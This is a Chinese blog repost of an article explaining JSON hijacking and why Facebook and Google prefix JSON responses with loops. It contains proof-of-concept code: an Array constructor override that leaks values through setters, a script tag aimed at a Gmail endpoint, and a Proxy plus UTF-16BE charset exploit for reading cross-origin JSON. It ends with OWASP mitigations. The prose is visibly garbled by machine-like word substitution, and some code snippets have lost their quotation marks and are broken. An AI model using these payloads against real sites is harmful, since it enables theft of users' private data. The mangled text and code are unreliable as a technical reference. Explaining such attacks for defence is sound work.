百万个冷知识百万个冷知识

百万个冷知识
一起学习百万个冷知识

你知道为什么Facebook的API以一个循环作为开头吗?(facebook最初的功能)

假如你有在应用程序中查阅过发送给大子公司 API 的允诺,你可能会注意到,JSON 后面会有许多怪异的 JavaScript:

为何她们要用这两个二进制来让 JSON 失灵?

为的是为保护你的统计数据

假如没那些二进制,所以有可能任何人中文网站都能出访那些统计数据。

那个安全漏洞被称作 JSON 挟持:https://lmddgtfy.net/?q=JSON%20hijacking

也是中文网站能从那些 API 中抽取 JSON 数据。

起源地

在 JavaScript 1.5 及更早版中,能全面覆盖原初类别第一类的缺省,并采用括弧初始化全面覆盖的版。

你能这种:

function Array(){ alert(You created an array!); } var x = [1,2,3];

这种就会弹出 alert!

采用下列JAVA代替 var x,普通用户就能写作你的邮件!

这是透过在读取内部JAVA以后全面覆盖 Array 缺省来同时实现的。

<script src="https://gmail.com/messages"></script>

统计数据抽取

即使你重载了缺省,仍然能透过 this 来出访它。

这是两个代码片段,它将 alert 数组的所有统计数据:

function Array() { var that = this; var index = 0; // Populating the array with setters, which dump the value when called var valueExtractor = function(value) { // Alert the value alert(value); // Set the next index to use this method as well that.__defineSetter__(index.toString(),valueExtractor ); index++; }; // Set the setter for item 0 that.__defineSetter__(index.toString(),valueExtractor ); index++; }

在创建数组后,它们的值将被 alert 出来!

ECMAScript 4 提案中已修复了那个问题,我们现在无法再全面覆盖大多数原初类别的原型,例如 Object 和 Array。

尽管 ES4 从未发布,但主要应用程序在发现后很快就修复了那个安全漏洞。

在今天的 JavaScript 中,你仍然能采用类似的行为,但它受限于你创建的变量,或者不采用括弧创建的第一类。

这是以后的两个修订版:

// Making an array const x = []; // Making the overriden methods x.copy = []; const extractor = (v) => { // Keeping the value in a different array x.copy.push(v); // Setting the extractor for the next value const currentIndex = x.copy.length; x.__defineSetter__(currentIndex, extractor); x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]); // Logging the value console.log(Extracted value, v); }; // Assigning the setter on index 0 x.__defineSetter__(0, extractor); x.__defineGetter__(0, ()=>x.copy[0]); // Using the array as usual x[0] = zero; x[1] = one; console.log(x[0]); console.log(x[1]);

这是两个采用 Array 关键字创建数组的版:

function Array(){ console.log(arguments); } Array("secret","values");

如你所见,你添加到数组中的统计数据被记录下来,但机能保持不变!

修复方案并没阻止采用 Array 来创建数组,而是在采用括弧创建第一类时强制采用原生同时实现,而不是自定义函数。

这意味着我们仍然能创建两个 Array 函数,但不能与方括弧([1,2,3])一起采用。

假如我们采用 x = new Array(1,2,3) 或 x = Array(1,2,3),它仍将被初始化,但不会给 JSON 挟持留下可趁之机。

新的变体

我们晓得旧版的应用程序很容易受到那个安全漏洞的攻击,所以现在呢?

随着最近 EcmaScript 6 的发布,添加了很多新机能,例如 Proxies!

来自 Portswigger 的 Gareth Heyes 在博客(

https://portswigger.net/blog/json-hijacking-for-the-modern-web)上介绍了那个安全漏洞的新变体,它仍然允许我们从 JSON 端点窃取统计数据!

透过采用 Proxies(而不是 Accessor),我们能窃取到任意创建的变量,无论它的名称是什么。

它能像 Accessor 一样,但能出访任意可出访或写入属性。

采用那个和另外两个技巧,就能再次窃取统计数据!

UTF-16BE 是两个多二进制字符集,两个字符由两个二进制组成。例如,假如你的JAVA以 [“做为结尾,它将被视为字符 0x5b22 而不是 0x5b 0x22。0x5b22 恰好是两个有效的 JavaScript 变量 =)。

采用那个JAVA:

<script charset="UTF-16BE" src="external-script-with-array-literal"></script>

透过采用那个JAVA中的许多受控统计数据和移位JAVA,我们就能再次渗透统计数据!

这是 Gareth 最后的 POC,摘自他的博文:

<!doctype HTML> <script> Object.setPrototypeOf(__proto__,new Proxy(__proto__,{ has:function(target,name){ alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); })); } })); </script> <script charset="UTF-16BE" src="external-script-with-array-literal"></script> <!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->

我不会深入解释那个方法,而是建议你写作他的帖子,以获取更多信息。

预防

下列是 OWASP 的官方建议:

https://www.owasp.org/index.php/AJAX_Security_Cheat_Sheet#Always_return_JSON_with_an_Object_on_the_outside

采用 CSRF 为保护,假如不存在安全标头或 csrf 令牌,就不返回统计数据,以防止被利用。始终将 JSON 做为第一类返回。

最后的解决方案很有趣。

在 Firefox 和 IE 中,那个是有效的:

x = [{"key":"value"}] x = {"key":"value"} [{"key":"value"}] {key: "value"}

但这种不行:

{"key":"value"}

它之所以无效是因为 Firefox 和 IE 认为括弧是块语句的结尾,而不是创建第一类。

没引号的符号{key:“value”}被视为标签,值被视为两个语句。

结论

虽然那些东西在今天可能是无效的,但我们永远不会晓得明天将会带来什么新的错误,因此我们仍应尽力阻止 API 被利用。

假如我们把那个 StackOverflow 答案视为理所当然,我们就很容易受到现代变体的影响,因此仍然可能被黑客入侵。

谷歌和 Facebook 在 JSON 统计数据以后添加无效的 JavaScript 或无限循环式,OWASP 也列出了其他替代方案。

作者:Antony Garand

来源:前端之巅

未经允许不得转载:百万个冷知识 » 你知道为什么Facebook的API以一个循环作为开头吗?(facebook最初的功能)
分享到: 更多 (0)

百万个冷知识 带给你想要内容

联系我们